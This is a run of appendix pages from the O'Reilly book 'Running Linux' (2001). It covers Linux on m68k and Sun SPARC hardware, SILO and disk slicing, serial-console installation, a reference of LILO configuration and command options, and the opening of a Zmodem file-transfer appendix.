E.4.2. Partitioning and Filesystems

Each platform uses its own partitioning scheme or one adapted from another operating system. As a general rule, however, the partitioning schemes are more straightforward than those based on MS-DOS systems. Amigas, Ataris, and Macs don't distinguish between primary and logical partitions and can generally be configured without the disk-size issues that plague Intel systems (the 1024-cylinder limit, for example). Because of the extensive support in the Linux kernel for myriad disk-partitioning schemes, native HP/UX and SunOS partition tables can be used on those platforms.

Although each partitioning scheme is different, under Linux they generally use fdisk utilities based on the original fdisk for DOS-based platforms, so the menus are similar with a few exceptions; for example, the Amiga fdisk program provides the ability to set the AmigaOS mountable flag in the partition table.

Before booting Linux for the first time, some people may want to use a more familiar GUI-based partitioning tool under their existing OS. Amiga users should use either HDToolbox or the tool that came with their SCSI controller; Atari users should use a TOS-partition editor like SCSITool; and Mac users can use Apple's HD SC Setup or the m68k version of the pdisk utility from LinuxPPC Inc. (see Appendix D, "LinuxPPC: Installing Linux on PowerPC Computers" for detailed instructions on how to use it). VME systems, along with the Q40 and Q60, use the MS-DOS partition format (like Linux on Intel and Alpha). Users of other platforms should consult their native operating system's documentation.

Native filesystems are highly supported in recent kernels. All of the Amiga's filesystem formats (OFS and FFS) are supported, as are the Atari's GEMDOS (actually a variant of the MS-DOS filesystem) and the Mac's HFS. The native filesystems on other platforms are generally available as well, through the kernel's support for System V and Berkeley FFS filesystems.

E.4.3. The X Window System

Most people have a love-hate relationship with configuring X. On Linux/m68k, the situation is no different; however, due to the capabilities of the framebuffer device interface, configuration is somewhat easier than on other platforms.

Linux/m68k uses the FBDev X server from XFree86, which is a standard XFree86 server designed for the framebuffer device. This allows video settings to be inherited from the Linux console instead of requiring you to extensively edit your XF86Config file. You may want to adjust the depth settings, but you can leave other settings alone.

Users of machines with high-resolution graphics cards may be interested in using one resolution for the console and higher resolutions for X. This option requires that the framebuffer driver in question supports programming the video mode (i.e., it does not inherit the mode from the machine's native boot loader or it has only one fixed mode). Programmable video modes may be added to the XF86Config file. The format of the mode information is identical to the format used in XF86Config on all other architectures; you can also output appropriate mode lines from the fbset utility.

The X server and console also work together in that you can adjust framebuffer settings on the command line using the fbset program and then output the settings in a format that can be copied into your XF86Config file for switching modes within X.

Unfortunately, the XF86Config files shipped with distributions usually include extraneous information that is not relevant to m68k users (and only serves to confuse them). This is an area of concern that the Linux/m68k team plans to address in the near future.

E.4.4. Rebooting the System

Linux/m68k uses the PC-style Ctrl-Alt-Del key combination to reboot the system. Because of hardware limitations, Linux/m68k is not able to safely trap the machine-specific reboot keys (like the Amiga's Ctrl-Amiga-Amiga sequence) and reset buttons. You can also reboot the system using the shutdown command as described in Section 5.5, "Shutting Down the System" in Chapter 5, "Essential System Management".

Previous | Home | Next
E.3. Distributions | Book Index | E.5. Registration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Registration (Running Linux)

 Running LinuxSearch this book
Previous Next

E.5. Registration

We keep a registry of Linux/m68k users to help track the use of our port and identify people who can help test drivers for new hardware. The Linux/m68k registration site is at http://www.cs.kul- euven.ac.be/~geert/Linux/m68k/. It is maintained by Geert Uytterhoeven.

Previous | Home | Next
E.4. Installation | Book Index | E.6. For More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


For More Information (Running Linux)

 Running LinuxSearch this book
Previous Next

E.6. For More Information

Linux/m68k users should consult the comp.os.linux.m68k newsgroup with any questions that they may have. There are a number of users who are happy to answer questions--at least the ones that aren't already answered elsewhere. The FAQ is another valuable resource at http://www.linux-m68k.org/faq/faq.html.

There are also mailing lists for Debian and Red Hat users; see http://www.linux-m68k.org/mail.html for details on how to subscribe to these lists.

More information on Linux/m68k, including pointers to all of the information discussed here and the complete FAQ, can be found at the Linux/m68k Home Pages, at http://www.linux-m68k.org, or their main U.S. mirror, http://www.lordsutch.com/linux/.

Previous | Home | Next
E.5. Registration | Book Index | F. Installing Linux on Sun SPARC Systems
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installing Linux on Sun SPARC Systems (Running Linux)

 Book Home Running LinuxSearch this book
Previous Next

Appendix F. Installing Linux on Sun SPARC Systems

By David S.Miller

Contents:

Supported Hardware
System Libraries
Installation Differences from Intel
Installation from a Serial Console
SPARC-specific Issues After Installation
Bootable Devices and Consoles

The SPARC port of Linux supports a wide range of systems, from the very low end to the extremely high end. Most people who have a Sun workstation or server around and would like to try Linux on it are likely to find that it is fully supported and works rather well. There are some small gaps here and there, but development is closing them as time goes on.

F.1. Supported Hardware

Support for Linux varies not only by series but by subseries. All series except the Enterprise 10000 and ancient sun4 systems are now fully supported. Work is under way to bring the others into line. Symmetric multiprocessing (SMP) kernels run on all series except sun4c.

In addition to the systems listed in this section, several clone vendors exist. If their clones are truly compatible with the equivalent Sun systems, Linux will work on them.

F.1.1. Sun4c Systems

These systems are supported by both the 2.0.x and 2.2.x series Linux kernels:

SPARCStation SLC
SPARCStation ELC

These two sun4c systems have the motherboard right behind the monitor tube in the same encasement. I like to jokingly refer to them as "SPARCintosh" systems due to this layout. The SLC systems were the first Sun hardware ever to successfully run Linux.

SPARCStation IPX
SPARCStation IPC

These machines are enclosed in a small shoebox-like case and use an external monitor.

SPARCStation 1
SPARCStation 1+
SPARCStation 2

These were the first "pizza box"-style Sun workstations. They also introduced SBUS slots to allow for the addition of expansion cards.

F.1.2. Sun4m Systems

These systems are supported by both the 2.0.x and 2.2.x series Linux kernels. Multi-processor configurations are also supported:

SPARCServer 6xxMP

These systems have a mainboard with two sun4m CPU module slots and SBUS slots as well. A VME bus is present but Linux does not provide any support for VME devices at this time.

SPARCStation LX
SPARCClassic
SPARCClassic X

These enclosures are much like the IPC/IPX sun4c systems, but inside, they have the sun4m architecture. The CPUs are on the motherboard and graphics cards are also integrated in this way.

SPARCStation 4
SPARCStation 5
SPARCStation 10
SPARCStation 20

The sun4m pizza-box workstations. The first two have the CPU on the motherboard, while the latter two systems have two sun4m CPU module slots. SBUS expansion slots are present in all four. The SS5 possesses a special expansion slot for graphics cards, such as the 24-bit TCX.

F.1.3. Sun4d Systems

These systems are supported only by the 2.2.x Linux kernels. As with the sun4m, multiprocessor configurations are supported:

SPARCServer 1000
SPARCCenter 2000

The only difference between these two is that the latter has more expansion slots than the former.

F.1.4. UltraSPARC 64-bit Systems

All the UltraSPARC-based systems mentioned here (with one disclaimer about the Enterprise 10000) are supported by the 2.2.x Linux kernel only. Multiprocessor configurations are fully supported.

The systems include two classes of I/O architectures, SBUS and PCI. The older systems use SBUS while the newer ones are all PCI based:

Ultra 1
Ultra 2
Enterprise 2

These are the desktop SBUS systems. The first two are uniprocessor only, whereas the Enterprise 2 can host two processors. All of them have SBUS expansion slots. The Ultra 2 and Enterprise 2 have a UPA slot for high-end Creator/Creator3d graphics cards.

Enterprise 3000, 3500, 4000, 4500, 6000, 6500, and 10000

These are SBUS servers. The Enterprise x000 family have a high-speed packet switched bus, into which I/O or CPU/MEMORY expansion boards can be plugged. The I/O boards each have three SBUS slots and some standard onboard devices (Ethernet, SCSI, and fibrechannel). CPU boards have two cpus and SIMM slots for memory.

The Enterprise 10000 is slightly different, in that each system board holds up to four processors, SBUS I/O systems, and memory SIMMS. Although support for this system has been written for the Linux kernel, it is untested, so I cannot claim that it is supported at this time. Systems with a base price of U.S. $1 million are hard to come by for testing.

Ultra 30
Ultra 60

These are PCI-based UltraSPARC workstations made by Sun. Both come in a tower case, have four or so PCI expansion slots, and have standard devices onboard, such as Ethernet and SCSI. Both also have a UPA slot for Creator graphics cards. The Ultra 30 is a uniprocessor, whereas the Ultra 60 can have up to two processors.

When Sun produced these workstations, it also produced a reference PCI UltraSPARC motherboard that OEMs could buy and resell with their own cases, disks, power supplies, and so on. This motherboard had an onboard IDE controller for disk storage instead of a SCSI.

Enterprise 250
Enterprise 450

These are Sun's PCI servers. They have more PCI slots than the UltraSPARC workstations and boast the addition of various environmental control (fans and temperature monitors) and the ability to diagnose remotely. The Enterprise 450 can also support up to four processors. Both systems use onboard NCR SCSI controllers for storage.

Ultra 5
Ultra 10

These are the PCI desktop UltraSPARCs. The Ultra 5 is in a more pizza-box-like enclosure, whereas the Ultra 10 uses a tower case. The Ultra 5 has one PCI expansion slot, the Ultra 10 has four. The Ultra 10 also provides a UPA slot for Creator graphics. The onboard storage I/O provided by both is IDE.

Ultra AXi
Ultra AXmp

Sun has also made two more PCI reference motherboards suitable for OEMs. The first is for workstations, the latter for rack-mount SMP systems. IDE is the onboard storage I/O for the AXi, while SCSI is on the AXmp. The AXmp has various environment control, fans, the ability to diagnose remotely, and support for up to four processors.

Previous | Home | Next
E.6. For More Information | Book Index | F.2. System Libraries
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


System Libraries (Running Linux)

 Running LinuxSearch this book
Previous Next

F.2. System Libraries

Early in the dark ages of the SPARC port of Linux, we first used an a.out libc4 as the system C library. Several factors were behind this. First, we used a.out SunOS binaries to bootstrap the first-ever Linux/SPARC systems, so we knew that a.out worked. Second, this was the most stable libc source base at the time. I hope that not very many (if any) SPARC systems running this C library exist any longer. All native Linux binaries using libc4 were statically linked.

ELF-based libc5 was the next library for Linux/SPARC. The earliest complete distributions used this for the system libraries. Shared ELF libraries were fully supported on SPARC.

Today, most Linux/SPARC systems are glibc/ELF based and will probably remain this way for the foreseeable future.

Previous | Home | Next
F. Installing Linux on Sun SPARC Systems | Book Index | F.3. Installation Differences from Intel
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installation Differences from Intel (Running Linux)

 Running LinuxSearch this book
Previous Next

F.3. Installation Differences from Intel

Most of the installation procedures for Linux/SPARC systems are identical to those of Intel-based Linux systems. The differences that do exist are just a side effect of different hardware, different booting procedures, and other similar divergences.

F.3.1. Graphics and X

Graphics cards are different on each system, and Linux/SPARC systems use different X servers. All SBUS-based and several onboard SPARC graphics cards use the Xsun series of servers. They are named:

Server | Purpose
XsunMono | For monochrome graphics cards only
Xsun | For 8-bit color and monochrome displays
Xsun24 | For 24-bit color graphics cards only, including Creator/Creator3d

Unlike Xfree86 on Intel, these X servers do not use a server configuration file for several reasons. First, the mouse and keyboard types are known on SPARC systems. Second, the graphics card and resolution can be completely autodetected and configured, so no specification of these parameters is needed in a configuration file.

The PCI systems start to bring in some exception cases for graphics cards. Several of the desktop systems (such as Ultra 5 and Ultra 10) have an ATI Mach-64 derived graphics card on the motherboard. Also ATI Mach64 PCI expansion boards are available as well. These graphics cards do use the Xfree86 servers and thus have a configuration file to set up.

For these ATI cards, you set up the XF86Config file just as you would for ATI cards on an Intel system. There are a few sticking points to be aware of:

  • Several PCI UltraSPARC systems provide the option of using either a traditional Sun-type [45] keyboard and mouse or a PC-style keyboard with a PS/2 mouse. If you're using the Sun keyboard, the keyboard configuration should look something like this:

    XkbKeycodes     "sun(type5)"
XkbTypes        "default"
XkbCompat       "default"
XkbSymbols      "sun/us(sun5)"
XkbGeometry     "sun"
XkbRules        "xfree86"
XkbModel        "sun"
XkbLayout       "sun/us"
    whereas for the PC-style keyboard you want something like this:
    XkbRules    "xfree86"
XkbModel    "pc101"
XkbLayout   "us"
    The X configuration tools, such as xf86config and XConfigurator, should be able to get the options right all by themselves. But if they don't, this description helps you.

  • Monitor timing configuration can be a pain with Sun monitors. They are really Sony monitors with Sun's brand name on the case. There is no definitive tabulation of what Sony model is "underneath the hood" of the various Sun monitors. All is not lost--use the following rules of thumb and you will get a working X configuration when using tools like XConfigurator or xf86config.

    Simply take your monitor size (17-inch, 19-inch, and so on) and choose the most common Sony monitor of the same size.

    If you attach a standard off-the-shelf SVGA monitor to your PCI graphics card, you can simply select it from the X configuration tool monitor listing.

    Multihead X configurations are supported currently, but with some limitations. Mach64 ATI cards cannot be multiheaded. The rest of the ATI cards can be multiheaded within the same card type. (That is to say, two cards that both work with the Xsun server can be multiheaded, whereas an Xsun24 and an XsunMono cannot.) The restrictions in this paragraph will disappear in a future release of the X server.

F.3.2. The SILO Boot Loader

SPARC stations also differ from Intel-based systems in the boot loader. SPARC systems use a bootloader named SILO (for SPARC Improved LOader).

From the user's perspective, SILO behaves just like Intel's LILO. The main noticeable difference is that you don't need to run a special /sbin/silo program each time a new kernel image is added to the config file (which is /etc/silo.conf ) as you need to do with Intel. Also, SILO is capable of loading any kernel image found on your ext2, UFS, or ISO9660 filesystems by name.

The reason SILO is able to do this is OBP (Open Boot Prom, the firmware used on SPARC systems). It provides a way for the bootloader code to read blocks off of boot devices, such as disks. With the kernel filename and device name you tell it to use, SILO simply reads your ext2 partition and loads it. (Note: in another light this creates a slight limitation. See the section that follows on bootable devices and consoles.)

It is possible to use SILO to dual boot both Linux and some other SPARC OS. Some helpful hints on how to do this can be found at http://www.sun.com/software/linux/dual_boot.html.

F.3.3. Partitioning Disks

We now tackle the peculiarities of disk partitioning on Linux/SPARC systems. You can treat this process just like you would on an Intel system with the following exceptions:

  • Disk slice c is special: it must exist, and it must encompass the entire disk. Most disk partitioning programs, such as fdisk and Disk Druid, automatically take care of this for you on SPARC systems.

    The reason for disk slice c being this way is that OBP uses this slice to determine the span of blocks on your disk and the location of the boot block for loading SILO from disk.

  • If you are creating a partition for something other than an ext2 or UFS filesystem, the partition must not start on the first block. The reason is that other uses, such as swap partitions and RAID slices, will end up overwriting the disk label and making your disk unusable.

    This is an issue only for Linux/SPARC on 2.0.x-based kernels. Sun has added facilities such that new RAID and swap partitions created under 2.2.x kernel-based distributions will take care of this issue transparently for you.

    The easiest way to deal with skipping the first block on 2.0.x-based distributions is to just start the partition at cylinder 1 instead of 0.

Previous | Home | Next
F.2. System Libraries | Book Index | F.4. Installation from a Serial Console
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Installation from a Serial Console (Running Linux)

 Running LinuxSearch this book
Previous Next

F.4. Installation from a Serial Console

Most SPARC users have grown accustomed to being able to install an OS using a serial line as the console. Linux/SPARC provides this facility as well.

The installation mechanisms I know about at this time all support the use of vt100 terminals only. When you boot the installer for your favorite distribution, it will automatically figure out if you have booted it on a serial console, and it will use whatever is appropriate for the installation procedure.

The installer will assume that if you installed the machine using a serial console, you will use the serial console for the running system. That is to say, if you install using a serial console, and then hook up a monitor and graphics card for the first boot, it won't work.

This does not mean you cannot change back to a framebuffer console from a serial one, and vice versa, after installation. A special shell script exists specifically for this purpose, called setconsole. Here are some sample uses:

setconsole ttya

This will use the first serial line as the console.

setconsole ttyb

This will use the second serial line as the console.

setconsole video

Use the graphics card as the console.

Previous | Home | Next
F.3. Installation Differences from Intel | Book Index | F.5. SPARC-specific Issues After Installation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SPARC-specific Issues After Installation (Running Linux)

 Running LinuxSearch this book
Previous Next

F.5. SPARC-specific Issues After Installation

On UltraSPARC systems, the current provided userland is still 32-bit (even though the processor and the kernel itself are 64-bit). One advantage of this is that nearly all Linux/SPARC applications run unchanged between different Linux/SPARC machines. A 64-bit userland is (at the time of this writing) scheduled to be deployed in the summer of 1999. The 32-bit libraries will remain in the distribution so that users can still run their legacy 32-bit Linux/SPARC binaries.

One side effect of the current UltraSPARC 32-bit userland is that you need to take some care when compiling applications from source. Since the machine (and kernel) is 64-bit, the uname facility will report sparc64 as the system type, instead of just plain sparc (which is what all the non-UltraSPARC systems report).

Several build scripts used to drive the compilation of source packages (such as GNU autoconf ) use this identification string to determine various aspects about the compilation environment (the sizes of various types in the C languages, and so on). The GNU utilities are going to do the wrong thing, because they see a 64-bit SPARC system type being reported, yet the userland runtime is 32-bit.

To overcome this issue, a tool called sparc32 is provided on Linux/SPARC systems. Before you configure and build to compile some source-code package, invoke a subshell with a sparc32 sh command. This will cause all uname queries done in that subshell (and thus by the programs run from it) to report plain sparc as the system type. This solves the problem.

Previous | Home | Next
F.4. Installation from a Serial Console | Book Index | F.6. Bootable Devices and Consoles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Bootable Devices and Consoles (Running Linux)

 Running LinuxSearch this book
Previous Next

F.6. Bootable Devices and Consoles

Some devices, while fully supported, have limitations for booting. Sometimes a device's firmware doesn't adhere to the conventions expected by the OBP firmware found on SPARC systems. In such cases, neither Linux nor any other operating system can boot from the device. The core OBP firmware does not know how to operate any particular SCSI controller or graphics card. It knows only the details of your particular CPU type and the arrangement of your memory SIMMs.

So each device that OBP can be expected to talk to must have its very own firmware, which describes how the device is operated. This firmware is used to teach OBP how to read a block off a disk on a particular SCSI controller type, for example.

The net result is that if a device lacks the appropriate OpenBoot firmware, it cannot be used for booting the OS or be used as the console.

But this is not so much a limitation as it may seem. All SPARC systems have some sort of onboard boot device (which does have the appropriate firmware) and console.

On PCI UltraSPARC systems, Linux happens to support several PCI devices even if they lack the special firmware. So you can place a cheap Ethernet card into one of the PCI slots and Linux will happily use it. You just can't boot from it.

Previous | Home | Next
F.5. SPARC-specific Issues After Installation | Book Index | G. LILO Boot Options
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


LILO Boot Options (Running Linux)

 Running LinuxSearch this book
Previous Next

Appendix G. LILO Boot Options

Contents:

Global Options
Image Options
Kernel Options
lilo Command Options

The most popular way to boot Linux on Intel platforms is the LInux LOader, LILO, whose configuration and use are described in the sectionx "Section 5.2.2, "Using LILO"" in Chapter 5, "Essential System Management". This appendix summarizes the options you can specify in the /etc/lilo.conf file and on the /sbin/lilo command line.

The configuration file starts with a section of global options, described in the next section. Global options are those that apply to every system boot, regardless of what operating system you are booting.

Following the global section, there is one section of options for each Linux kernel. While the variety of kernel options--many of them hardware specific--make it unfeasible to list them all here, the section "Section G.3, "Kernel Options "" later in this chapter describes the most common ones.

Finally, the configuration file contains a section for each non-Linux operating system that you want LILO to be able to boot. Each of those sections is referred to as an image section, because each boots a different kernel image (shorthand for a binary file containing a kernel) or another operating system. Each Linux image section begins with an image= line. Options found in these sections are described in the section "Section G.2, "Image Options "" later in this chapter.

G.1. Global Options

In addition to the options listed here, the kernel options append, read-only, read-write, root, and vga (described in the section "Kernel options" later) can also be set as global options:

backup=backup-file

Copies the original boot sector to backup-file instead of to the file /boot/boot.nnnn, where nnnn is a number that depends on the disk device type.

boot=boot-device

Sets the name of the device that contains the boot sector. boot defaults to the device currently mounted as the root, such as /dev/hda2. Specifying a device, such as /dev/hda (without a number), indicates that LILO should be installed in the master boot record; the alternative is to set it up on a particular partition, such as /dev/hda2.

compact

Merges read requests for adjacent disk sectors to speed up booting. Use of compact is particularly recommended when booting from a floppy disk. Use of compact may conflict with linear.

default=name

Uses the image name as the default boot image. If default is omitted, the first image specified in the configuration file is used.

delay=tsecs

Specifies, in tenths of a second, how long the boot loader should wait before booting the default image. If serial is set, delay is set to 20 at a minimum. The default is not to wait.

disk=device-name

Defines parameters for the disk specified by device-name if LILO can't figure them out. Normally, LILO can determine the disk parameters itself and this option isn't needed. When disk is specified, it is followed by one or more parameter lines:

disk=/dev/sda
  bios = 0x80  # First disk is usually 0x80, second is usually 0x81
  sectors= ...
  heads= ...
Note that this option is not the same as the disk geometry parameters you can specify with the hd boot command-line option. With disk, the information is given to LILO; with hd, it is passed to the kernel. The parameters that can be specified with disk are briefly listed here. They are described in detail in the LILO User's Guide which comes with the LILO distribution.

bios=bios-device-code

Specifies the number the BIOS uses to refer to the device. See the previous example.

cylinders=cylinders

Specifies the number of cylinders on the disk.

heads=heads

Specifies the number of heads on the disk.

inaccessible

Tells LILO that the BIOS can't read the disk; this option is used to prevent the system from becoming unbootable if LILO thinks the BIOS can read it.

partition=partition-device

Starts a new section for a partition. The section contains one variable, start=partition-offset that specifies the zero-based number of the first sector of the partition:

partition=/dev/sda1
  start=2048

sectors=sectors

Specifies the number of sectors per track.

disktab=disktab-file

Superceded by the disk= option.

fix-table

If set, allows LILO to adjust 3D addresses (addresses specified as sector/head/cylinder) in partition tables. This is sometimes necessary if a partition isn't track aligned and another operating system, such as MS-DOS, is on the same disk. See the lilo.conf manpage for details.

force-backup=backup-file

Is like backup, but overwrites an old backup copy if one exists.

ignore-table

Tells LILO to ignore corrupt partition tables.

install=boot-sector

Installs the specified file as the new boot sector. If install is omitted, the boot sector defaults to /boot/boot.b.

linear

Generates linear sector addresses, which do not depend on disk geometry, instead of 3D (sector/head/cylinder) addresses. If LILO can't determine your disk's geometry itself, you can try using linear; if that doesn't work, then you need to specify the geometry with disk=. Note, however, that linear sometimes doesn't work with floppy disks, and it may conflict with compact.

map=map-file

Specifies the location of the map file. Defaults to /boot/map.

message=message-file

Specifies a file containing a message to be displayed before the boot prompt. The message can include a formfeed character (Ctrl-L) to clear the screen. The map file must be rebuilt by rerunning the lilo command if the message file is changed or moved. The maximum length of the file is 65,535 bytes.

nowarn

Disables warning messages.

optional

Specifies that any image that is not available when the map is created should be omitted and not offered as an option at the boot prompt. Like the per-image option optional, but it applies to all images.

password=password

Specifies a password that the user is prompted to enter when trying to load an image. The password is not encrypted in the configuration file, so if passwords are used, permissions should be set so that only the superuser is able to read the file. This option is like the per-image password option, except that all images are password protected and they all have the same password.

prompt

Automatically displays the boot prompt without waiting for the user to press the Shift, Alt, or Scroll Lock key. Note that setting prompt without also setting timeout prevents unattended reboots.

restricted

Can be used with password to indicate that a password needs to be entered only if the user specifies parameters on the command line. It is like the per-image restricted option, but applies to all images.

serial=parameters

Allows the boot loader to accept input from a serial line as well as from the keyboard. Sending a break on the serial line corresponds to pressing a Shift key on the console to get the boot loader's attention. All boot images should be password protected if serial access is insecure (e.g., if the line is connected to a modem). Setting serial automatically raises the value of delay to 20 (i.e., two seconds) if it is less than that. The parameter string parameters has the following syntax:

port[,bps[parity[bits]]]
For example, to initialize COM1 with the default parameters:
serial=0,2400n8
The parameters are:

timeout=tsecs

Sets a timeout (specified in tenths of a second) for keyboard input. If no key has been pressed after the specified time, the default image is automatically booted. timeout is also used to determine when to stop waiting for password input. The default timeout is infinite.

verbose=level

Turns on verbose output, where higher values of level produce more output. If -v is also specified on the LILO command line, the level is incremented by one for each occurrence of -v. The maximum verbosity level is 5.

Previous | Home | Next
F.6. Bootable Devices and Consoles | Book Index | G.2. Image Options
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Image Options (Running Linux)

 Running LinuxSearch this book
Previous Next

G.2. Image Options

The following options are specified for a particular image:

alias=name

Provides an alternate name for the image that can be used instead of the name specified with the label option.

image=pathname

Specifies the file or device containing the boot image of a bootable Linux kernel. Each per-image section that specifies a bootable Linux kernel starts with an image option. See also the range option.

label=name

Specifies the name that is used for the image at the boot prompt. Defaults to the filename of the image file (without the path).

loader=chain-loader

For a non-Linux operating system, specifies the chain loader to which LILO should pass control for booting that operating system. The default is /boot/chain.b. If the system will be booted from a drive that is neither the first hard disk nor a floppy, the chain loader must be specified.

lock

Tells LILO to record the boot command line and use it as the default for future boots until it is overridden by a new boot command line. lock is useful if there is a set of options that you need to enter on the boot command line every time you boot the system.

optional

Specifies that the image should be omitted if it is not available when the map is created by the lilo command. Useful for specifying test kernels that are not always present.

password=password

Specifies that the image is password protected and provides the password that the user is prompted for when booting. The password is not encrypted in the configuration file, so if passwords are used, only the superuser should be able to read the file.

range=sectors

Used with the image option, when the image is specified as a device (e.g., image=/dev/fd0 ), to indicate the range of sectors to be mapped into the map file. sectors can be given as the range start-end or as start +number, where start and end are zero-based sector numbers and number is the increment beyond start to include.

If only start is specified, only that one sector is mapped. For example:

image = /dev/fd0
  range = 1+512   # take 512 sectors, starting with sector 1

restricted

Specifies that a password is required for booting the image only if boot parameters are specified on the command line.

table=device

Specifies, for a non-Linux operating system, the device that contains the partition table. If table is omitted, the boot loader does not pass partition information to the operating system being booted. Note that /sbin/lilo must be rerun if the partition table is modified. This option cannot be used with unsafe.

unsafe

Can be used in the per-image section for a non-Linux operating system to indicate that the boot sector should not be accessed when the map is created. If unsafe is specified, some checking isn't done, but the option can be useful for running the lilo command without having to insert a floppy disk when the boot sector is on a fixed-format floppy-disk device. This option cannot be used with table.

Previous | Home | Next
G. LILO Boot Options | Book Index | G.3. Kernel Options
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Kernel Options (Running Linux)

 Running LinuxSearch this book
Previous Next

G.3. Kernel Options

The following kernel options can be specified in /etc/lilo.conf as well as on the boot command line:

append=string

Appends the options specified in string to the parameter line passed to the kernel. This is typically used to specify certain hardware parameters. For example, if your system has more than 64 MB of memory (i.e., more than your BIOS can recognize), you can use append:

append = "mem=128M"

initrd=filename

Specifies the file to load into /dev/initrd when booting with a RAM disk. See also the options load_ramdisk, prompt_ramdisk, ramdisk_size, and ramdisk_start.

literal=string

Is like append, but replaces all other kernel boot options.
noinitrd

Preserves the contents of /dev/initrd so they can be read once after the kernel is booted.

prompt_ramdisk=n

Specifies whether the kernel should prompt you to insert the floppy disk that contains the RAM disk image, for use during Linux installation.

Values of n are:

0

Don't prompt. Usually used for an installation where the kernel and the RAM disk image both fit on one floppy.

1

Prompt. This is the default.

ramdisk=size

Is obsolete. This option should be used only with kernels older than Version 1.3.48. For newer kernels, see the options load_ramdisk, prompt_ramdisk, ramdisk_size, and ramdisk_start.

ramdisk_size=n

Specifies the amount of memory, in kilobytes, to be allocated for the RAM disk. The default is 4096, which allocates 4 MB.

ramdisk_start=offset

Used for a Linux installation where both the kernel and the RAM disk image are on the same floppy. offset indicates the offset on the floppy where the RAM disk image begins; it is specified in kilobytes.

root=root-device

Specifies the device that should be mounted as the root. If the special name current is used, the root device is set to the device on which the root filesystem is currently mounted. This option defaults to the root-device setting contained in the kernel image.

vga=mode

Specifies the VGA text mode that should be selected when booting. mode defaults to the VGA mode setting in the kernel image. The values are not case-sensitive. They are:

ask

Prompts the user for the text mode. Pressing Enter in response to the prompt displays a list of the available modes.

extended (or ext)

Selects 80x50 text mode.

normal

Selects normal 80x25 text mode.

number

Uses the text mode that corresponds to number. A list of available modes for your video card can be obtained by booting with vga=ask and pressing Enter.

Previous | Home | Next
G.2. Image Options | Book Index | G.4. lilo Command Options
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


lilo Command Options (Running Linux)

 Running LinuxSearch this book
Previous Next

G.4. lilo Command Options

The following list describes the lilo command options. Multiple options are given separately:

% lilo -q -v

-C config-file

Specifies an alternative to the default configuration file (/etc/lilo.conf  ). lilo uses the configuration file to determine what files to map when it installs LILO.

-I label

Prints the path to the kernel specified by label to standard output or outputs an error message if no matching label is found. For example:

% lilo -I linux
/boot/vmlinuz-2.0.34-0.6

-q

Lists the currently mapped files. LILO maintains a file, by default /boot/map, containing the name and location of the kernels to boot. Running lilo with this option prints the names of the files in the map file to standard output, as in this example (in which the asterisk indicates that linux is the default):

% lilo -q
linux            *
test

-r root-directory

Specifies that before doing anything else, LILO should chroot to the indicated directory. This option is used for repairing a setup from a boot floppy-you can boot from a floppy but have LILO use the boot files from the hard drive. For example, if you issue the following commands, LILO will get the files it needs from the hard drive:

% mount /dev/hda2 /mnt
% lilo -r /mnt

-R command-line

Sets the default command for the boot loader the next time it executes. The command executes once and then is removed by the boot loader. This option is typically used in reboot scripts, just before calling shutdown -r.

-t

Indicates that this is a test and does not really write a new boot sector or map file. It can be used with -v to find out what LILO would do during a normal run.

-u device-name

Uninstalls LILO by restoring the saved boot sector from /boot/boot.nnnn after validating it against a timestamp. device-name is the name of the device on which LILO is installed, such as /dev/hda2.

-U device-name

Is like -u, but does not check the timestamp.

-v

Specifies verbose output.

-V

Prints the LILO version number.

Previous | Home | Next
G.3. Kernel Options | Book Index | H. Zmodem File Transfer
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Zmodem File Transfer (Running Linux)

 Running LinuxSearch this book
Previous Next

Appendix H. Zmodem File Transfer

Contents:

Getting RZSZ
Sending and Receiving Files
Summary of rz and sz Options
Some Zmodem Usage Notes
Other Interesting Packages

The Zmodem protocol is a robust and fast data-transfer protocol. It includes 32-bit cyclic redundancy checking (CRC) to ensure error-free data transfer. On Unix platforms, the RZSZ package provides the dominant tools for implementing Zmodem protocols. Related protocols, such as Xmodem and Ymodem, are also supported by commands that are part of the RZSZ package.

These commands are available in the current RZSZ package:

rz

Receives files using the Zmodem batch protocol. If the sending program doesn't send Zmodem protocol files within 50 seconds, rz switches to rb mode.

rb

Receives files using the Ymodem or Ymodem-g protocol. rb is an alternative invocation for the rz command.

rx

Receives a file using the Xmodem protocol.

sz

Sends files using the Zmodem batch protocol.

sb

Sends files using either the Ymodem or Ymodem-g protocol. sb is an alternative invocation for the sz command.

sx

Sends a file using the Xmodem protocol.

sz provides automatic downloading in response to an incoming rz request, and rz automatically processes incoming Ymodem or Zmodem files. sz can also be used as a filter to send standard input to the receiving host.

The RZSZ tools display information about the file transfers, including projections of transmission time, incremental crash recovery, recognition of wildcard file-selection arguments, and user notification on completion of transfer. Because most popular PC terminal-emulation packages (Professional-YAM, ZCOMM, ProComm, Telix, and a host of others) support Zmodem transfer, the RZSZ package makes it simple to transfer files between Linux systems, MS-DOS, Macintosh, VMS, and other operating systems.

Interestingly, although some Linux distributions include the sz and rz commands, they may omit portions of the RZSZ package (including the manual pages). So we'll give you some FTP sites to get the whole package in the next section.

Most of the time, you won't need to use Xmodem or Ymodem, so we will restrict our discussion to the sz and rz features.

H.1. Getting RZSZ

The RZSZ package isn't acknowledged as such in the Linux tools, which may mean that you won't find the whole package collected and compiled for Linux. However, we have found a number of FTP sites that carry the source, such as a subdirectory of NetBSD packages called lrzsz at ftp://ftp.cs.umn.edu.

The primary source for state-of-the-art RZSZ is ftp://ftp.cs.pdx.edu, maintained in directory /pub/zmodem by Chuck Forsberg of Omen Technology, Inc.

